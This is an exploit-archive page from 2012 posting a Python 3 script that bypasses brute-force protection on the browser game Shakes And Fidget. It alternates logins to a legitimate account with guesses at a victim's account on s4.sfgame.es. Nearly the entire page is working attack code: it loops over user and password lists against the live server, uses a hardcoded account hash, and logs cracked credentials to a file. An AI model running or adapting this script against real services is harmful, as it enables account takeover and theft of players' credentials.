Shakes And Fidget - Brute Force Protection Bypass



EKU-ID: 2428 CVE: OSVDB-ID:
Author: SnakingMax Published: 2012-07-10 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


 # Exploit Title: [Shakes And Fidget - Brute Force Protection Bypass]
 # Date: [04/07/2012]
 # Author: [SnakingMax]
 # Website: http://snakingmax.blogspot.com/
 # Software Link: [http://www.sfgame.es/]
 # Vendor: Playa Games GmbH
# Category: [Remote Exploit]


# Vulnerability description:
# Bypass brute force protection by alternating a positive attempt (legitimate account)
# with a test attempt (victim's account).
#
# 26/12/2011 - Vendor informed
# 04/07/2012 - Vulnerability not fixed


######################### EXPLOIT CODE (python 3) ############################

import sys, time, hashlib
from random import randrange
from http.client import HTTPConnection
import urllib.request

	
def str2md5( string ):
	return hashlib.md5(string.encode('utf-8')).hexdigest()


def tryUserPass(username, password):
	print("Trying User: "+username+" and Pass:"+password)
	conn = HTTPConnection('s4.sfgame.es')
	# positive attempt (legitimate account)
	conn.request('GET', "/request.php?req=00000000000000000000000000000000002sfbf%3Bacc1c81abcdab1f53cfdfe7030c076bc%3Bv1.60&random=%2&rnd=0")
	response = conn.getresponse()
	response.close()
	conn.close()
	conn = HTTPConnection('s4.sfgame.es')
	# test attempt (victim's account)
	conn.request('GET', "/request.php?req=00000000000000000000000000000000002{0}%3B{1}%3Bv1.60&random=%2&rnd={2}".format(username.strip(),str2md5(str(password.strip())), randrange(999999)))
	response = conn.getresponse()
	data = response.read()[:10]
	response.close()
	conn.close()
	if (len(str(data)) > 7):
		print("Password found. See log.txt file.")
		return True
	else:
		return False

def bruteforce(userlist, pwdlist):
	usersFileList = open ( userlist , 'rt')
	dumpUsers = usersFileList.read()
	usersFileList.close()
	userl = dumpUsers.split()
	pwdFileList = open (pwdlist, 'rt')
	dumpPwd = pwdFileList.read()
	pwdl = dumpPwd.split()
	pwdFileList.close()
	for i in range(len(userl)):
		for j in range(len(pwdl)):
			if (tryUserPass(userl[i], pwdl[j])):
				log = open ('log.txt', 'at')
				log.write("\n------PASSWORD FOUND------\nUsername: " + userl[i] + "\nPassword: " + pwdl[j] + "\n--------------------------")
				log.close()

if ( (__name__)=="__main__" ):
	if len(sys.argv) != 3:
		print("usage:\n")
		print( sys.argv[0]+" [userlist.txt] [pwdlist.txt]\n\n")
		print("Downloaded from: http://snakingmax.blogspot.com/")
	else:
		userlist = sys.argv[1];
		pwdlist = sys.argv[2];
		print("Trying Username/Password combinations...")
		bruteforce(userlist, pwdlist)

######################### END OF EXPLOIT CODE (python 3) ############################